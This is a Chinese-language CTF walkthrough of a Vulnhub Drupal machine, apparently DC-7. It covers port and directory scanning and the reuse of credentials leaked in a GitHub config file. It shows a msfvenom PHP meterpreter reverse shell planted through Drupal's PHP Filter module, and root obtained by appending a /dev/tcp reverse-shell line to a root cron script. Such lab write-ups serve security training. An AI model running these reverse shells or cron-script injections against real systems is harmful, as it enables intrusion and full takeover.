工具及漏洞信息#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- droopescan
- 计划任务提权
** 部分工具的用法和详细说明请参考此系列的第一篇文章:bossplayersCTF:1-Vulnhub Walkthrough **
0x00 信息收集#
扫描靶机信息#
netdiscover
的-r
参数扫描192.168.1.0/16
结果如下:
nmap
扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.8
robots.txt
没有什么可利用的,主页最下面写着Powered by Drupal
扫描路径#
dirb
扫描路径:
dirb http://192.168.1.8
dirsearch
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8
gobuster
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
0x01 漏洞扫描#
一圈目录下来,都没什么特别的,user/login
界面也没有弱密码:
而且后台限制了 5 次登录失败会被暂时锁定,只能从网站框架和模板入手了
Github
上针对Drupal
的漏扫工具有droopescan
和drupwn
但是后者不好用就不做介绍了
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32
而漏洞库不包含扫描出来的版本:
cms
本身漏洞无法利用,那我们就解决作者本身吧::quyin:OK::
0x01 获得普通账号#
主页的底部除了Powered by Drupal
还有作者的名字@DC7USER
,搜了下发现是twitter
账号:
并且在首页放着一个大大的github
链接,作者只有一个仓库staffdb
config.php
里明晃晃地写着账号密码和数据库名字:
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
于是用ssh
登录进去:ssh dc7user@192.168.1.9
,获得了dc7user
的shell
:
0x02 获取 shell#
获取到shell
第一步当然是查看当前目录有什么文件:
mbox
很显眼,查看一下:
邮件内容应该是备份的日志,调用的脚本是/opt/scripts/backups.sh
貌似还是root
权限执行的。如果当前用户有脚本的写入权限,那么应该就可以提权了。
查了一下www-data
和root
用户才能修改,内容是用来管理Drupal
站点的shell
其中有一句话引起了我的注意:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
查了一下,这个drush
命令是可以用来修改密码的:
drush user-password USERNAME --password="SOMEPASSWORD"
于是尝试修改admin
的密码,需要到某些指定目录例如/var/www/html
才能修改:
获得管理员账户之后我们登录网站来反弹shell
出于安全考虑,PHP Filter
已经从Drupal
核心中移除
后续作为一个module
存在,可以通过手动下载安装:
打开网站的模块安装界面/admin/modules
:
搜索模块php
,选中我们刚才安装的PHP
,点击install
启动模块:
模块安装好后就可以开始利用漏洞了,在Content
中新建一个Basic page
,
然后在Title
输入页面的名称webshell
,在Body
中放入反弹shell
的PHP
代码
我这里使用msfvenom
生成的php shell
:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw
Text format
的位置选择PHP code
:
弄完之后,先别操作,在kali
上监听端口
msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp
最后点击Preview
按钮,第一次可能不会成功,退出Preview
再来一次即可:
获取到的shell
为www-root
用户的:
0x03 backups.sh 提权 root#
之前邮件里的备份计划任务使用的脚本/opt/scripts/backups.sh
只有root
和www-data
用户可以修改。
所以接下来就是将反弹shell
的代码附加到backups.sh
脚本中
(因为计划任务是root
权限执行的,反弹回来的shell
也会是root
用户)
然后在kali
中监听相应端口,等待计划任务的执行:
使用shell进入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的终端监听指定端口:nc -lvp 3456
将反弹shell代码写进backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh
等待靶机执行定时任务就可以获得root
的shell
:
成功获得flag
:
本文完。
参考文章: